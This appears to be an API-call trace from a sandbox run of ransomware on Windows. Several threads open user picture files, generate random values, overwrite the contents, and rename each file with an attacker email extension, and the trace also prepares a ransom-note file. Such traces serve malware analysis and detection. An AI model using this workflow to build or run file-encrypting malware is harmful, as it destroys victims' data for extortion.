	[0082.485] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\AppxSignature.p7x", dwFileAttributes=0x20) returned 0
	[0082.485] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47eabc8) returned 1

Thread:
	id = 992
	os_tid = 0x1660

	[0082.486] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x2d5b2a8
	[0082.486] wcscpy (in: _Dest=0x2d5b2a8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0082.487] wcscat (in: _Dest=0x2d5b2a8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0082.487] wcscat (in: _Dest=0x2d5b2a8, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0082.487] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47a4000
	[0082.487] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_2017.311.255.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x47a4000 | out: lpFindFileData=0x47a4000*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc3123ced, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a81d8
	[0082.487] wcscmp (_String1=".", _String2=".") returned 0
	[0082.487] FindNextFileW (in: hFindFile=0x46a81d8, lpFindFileData=0x47a4000 | out: lpFindFileData=0x47a4000*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc3123ced, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.487] wcscmp (_String1="..", _String2=".") returned 1
	[0082.487] wcscmp (_String1="..", _String2="..") returned 0
	[0082.487] FindNextFileW (in: hFindFile=0x46a81d8, lpFindFileData=0x47a4000 | out: lpFindFileData=0x47a4000*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xc3123ced, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xc3123ced, ftLastAccessTime.dwHighDateTime=0x1d32741, ftLastWriteTime.dwLowDateTime=0xc3123ced, ftLastWriteTime.dwHighDateTime=0x1d32741, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0082.487] FindClose (in: hFindFile=0x46a81d8 | out: hFindFile=0x46a81d8) returned 1
	[0082.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47a4000) returned 1
	[0082.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d5b2a8) returned 1
	[0082.487] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4731668) returned 1

Thread:
	id = 993
	os_tid = 0x1664

	[0082.488] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat")) returned 0x20
	[0082.491] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0082.491] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\appxmetadata\\codeintegrity.cat"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.491] GetLastError () returned 0x5
	[0082.491] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxMetadata\\CodeIntegrity.cat", dwFileAttributes=0x20) returned 0
	[0082.491] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4768370) returned 1

Thread:
	id = 994
	os_tid = 0x1824

	[0082.492] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\ReadMe.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\common\\readme.txt")) returned 0x20
	[0082.493] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\ReadMe.txt", dwFileAttributes=0x20) returned 0
	[0082.493] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\ReadMe.txt" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\common\\readme.txt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0082.494] GetLastError () returned 0x5
	[0082.494] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Common\\ReadMe.txt", dwFileAttributes=0x20) returned 0
	[0082.494] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47e96a0) returned 1

Thread:
	id = 995
	os_tid = 0x1898

	[0082.495] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png")) returned 0x20
	[0085.407] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png", dwFileAttributes=0x20) returned 1
	[0085.407] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-192.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15cc
	[0085.410] GetFileSizeEx (in: hFile=0x15cc, lpFileSize=0x2383f88c | out: lpFileSize=0x2383f88c*=2407) returned 1
	[0085.410] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x963, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.410] ReadFile (in: hFile=0x15cc, lpBuffer=0x2383f810, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2383f80c, lpOverlapped=0x0 | out: lpBuffer=0x2383f810*, lpNumberOfBytesRead=0x2383f80c*=0x4, lpOverlapped=0x0) returned 1
	[0085.413] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0085.413] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.413] NtQuerySystemTime (in: CurrentTime=0x2383f7ec | out: CurrentTime=0x2383f7ec*=132251868121556698) returned 0x0
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x7a39f1ad
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0xc5e28980
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x7d9da9f0
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x40f09a9a
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x9ea4d7cd
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x457088da
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0xd688c0f3
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x912b572a
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0xcab5ab09
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x4daf913f
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x403e3761
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0xbd792955
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x314d4a9a
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x6fc3cbfb
	[0085.413] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0xd01a0b8a
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0xda7bc6a6
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0xfdf0070a
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x9322a61d
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x1be7b812
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0xbf1f4dbd
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0xa294246a
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0xeb68316f
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x9b83eb3d
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0xb65b405e
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x8f4a1c73
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0xefacefb1
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x706fe691
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x6b81e13a
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0xd4298e9e
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x65f003f2
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x517eac5e
	[0085.414] RtlRandom (in: Seed=0x2383f7f8 | out: Seed=0x2383f7f8) returned 0x75a8dac5
	[0085.422] ReadFile (in: hFile=0x15cc, lpBuffer=0x47db828, nNumberOfBytesToRead=0x967, lpNumberOfBytesRead=0x2383f7e8, lpOverlapped=0x0 | out: lpBuffer=0x47db828*, lpNumberOfBytesRead=0x2383f7e8*=0x967, lpOverlapped=0x0) returned 1
	[0085.422] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.422] WriteFile (in: hFile=0x15cc, lpBuffer=0x500d818*, nNumberOfBytesToWrite=0x967, lpNumberOfBytesWritten=0x2383f7e4, lpOverlapped=0x0 | out: lpBuffer=0x500d818*, lpNumberOfBytesWritten=0x2383f7e4*=0x967, lpOverlapped=0x0) returned 1
	[0085.424] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.424] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0085.424] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0085.424] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d818) returned 1
	[0085.424] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47db828) returned 1
	[0085.424] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.424] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.424] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x25) returned 0x2d780b0
	[0085.424] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.424] WriteFile (in: hFile=0x15cc, lpBuffer=0x2d88ff0*, nNumberOfBytesToWrite=0x109, lpNumberOfBytesWritten=0x2383f84c, lpOverlapped=0x0 | out: lpBuffer=0x2d88ff0*, lpNumberOfBytesWritten=0x2383f84c*=0x109, lpOverlapped=0x0) returned 1
	[0085.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d88ff0) returned 1
	[0085.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77db0) returned 1
	[0085.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780b0) returned 1
	[0085.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0085.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0085.425] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0085.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x49259c8
	[0085.425] wcscpy (in: _Dest=0x49259c8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png"
	[0085.425] wcscat (in: _Dest=0x49259c8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.425] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2383f804, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-192.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.425] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd4) returned 0x2e43fe0
	[0085.426] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e43fe0) returned 1
	[0085.426] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0085.426] NtQueryInformationFile (in: FileHandle=0x15cc, IoStatusBlock=0x2383f810, FileInformation=0x2383f7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2383f810, FileInformation=0x2383f7e8) returned 0x0
	[0085.426] NtSetInformationFile (FileHandle=0x15cc, IoStatusBlock=0x2383f810, FileInformation=0x2383f7e8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.427] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x49259c8) returned 1
	[0085.427] FlushFileBuffers (hFile=0x15cc) returned 1
	[0085.428] CloseHandle (hObject=0x15cc) returned 1
	[0085.429] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476f508
	[0085.429] wcscpy (in: _Dest=0x476f508, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0085.429] wcscat (in: _Dest=0x476f508, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt"
	[0085.429] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\c3f7e-readme.txt")) returned 0x20
	[0085.429] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476f508) returned 1
	[0085.429] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc110) returned 1

Thread:
	id = 996
	os_tid = 0x18dc

	[0082.495] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png")) returned 0x20
	[0085.383] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png", dwFileAttributes=0x20) returned 1
	[0085.385] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-32.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1820
	[0085.386] GetFileSizeEx (in: hFile=0x1820, lpFileSize=0x238bf958 | out: lpFileSize=0x238bf958*=415) returned 1
	[0085.386] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x19b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.389] ReadFile (in: hFile=0x1820, lpBuffer=0x238bf8dc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x238bf8d8, lpOverlapped=0x0 | out: lpBuffer=0x238bf8dc*, lpNumberOfBytesRead=0x238bf8d8*=0x4, lpOverlapped=0x0) returned 1
	[0085.393] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781940
	[0085.393] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.393] NtQuerySystemTime (in: CurrentTime=0x238bf8b8 | out: CurrentTime=0x238bf8b8*=132251868121245013) returned 0x0
	[0085.393] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x8a20989a
	[0085.393] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x24ec0213
	[0085.393] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x2cb6fa8e
	[0085.393] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x9a049148
	[0085.393] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0xffaee486
	[0085.393] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0xa6e05742
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x3d94f216
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x18d054bc
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0xf33da0fe
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x4a049abd
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x33f6c4fe
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x7c2e91f3
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0xe50862cb
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0xa3c28725
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x4357b6bd
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x97e104c2
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x8c62fe22
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x311ae8b0
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x17c0813f
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x27ca9947
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0xb967d086
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x392ba78e
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x23546df4
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x2f404df9
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x2a4fba51
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0xd4713cb9
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0xb15ba794
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x14ba2bd
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x528d064f
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0xc41c8f8e
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x6021541f
	[0085.394] RtlRandom (in: Seed=0x238bf8c4 | out: Seed=0x238bf8c4) returned 0x54e56de2
	[0085.402] ReadFile (in: hFile=0x1820, lpBuffer=0x47db828, nNumberOfBytesToRead=0x19f, lpNumberOfBytesRead=0x238bf8b4, lpOverlapped=0x0 | out: lpBuffer=0x47db828*, lpNumberOfBytesRead=0x238bf8b4*=0x19f, lpOverlapped=0x0) returned 1
	[0085.403] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.403] WriteFile (in: hFile=0x1820, lpBuffer=0x500d818*, nNumberOfBytesToWrite=0x19f, lpNumberOfBytesWritten=0x238bf8b0, lpOverlapped=0x0 | out: lpBuffer=0x500d818*, lpNumberOfBytesWritten=0x238bf8b0*=0x19f, lpOverlapped=0x0) returned 1
	[0085.404] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.404] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781968
	[0085.404] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781968) returned 1
	[0085.404] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d818) returned 1
	[0085.404] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47db828) returned 1
	[0085.404] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.404] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.404] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d780b0
	[0085.404] SetFilePointerEx (in: hFile=0x1820, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.404] WriteFile (in: hFile=0x1820, lpBuffer=0x500cbe8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x238bf918, lpOverlapped=0x0 | out: lpBuffer=0x500cbe8*, lpNumberOfBytesWritten=0x238bf918*=0x107, lpOverlapped=0x0) returned 1
	[0085.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500cbe8) returned 1
	[0085.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77db0) returned 1
	[0085.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780b0) returned 1
	[0085.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781940) returned 1
	[0085.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0085.406] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0085.406] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4924bb8
	[0085.406] wcscpy (in: _Dest=0x4924bb8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png"
	[0085.406] wcscat (in: _Dest=0x4924bb8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.406] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x238bf8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-32.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
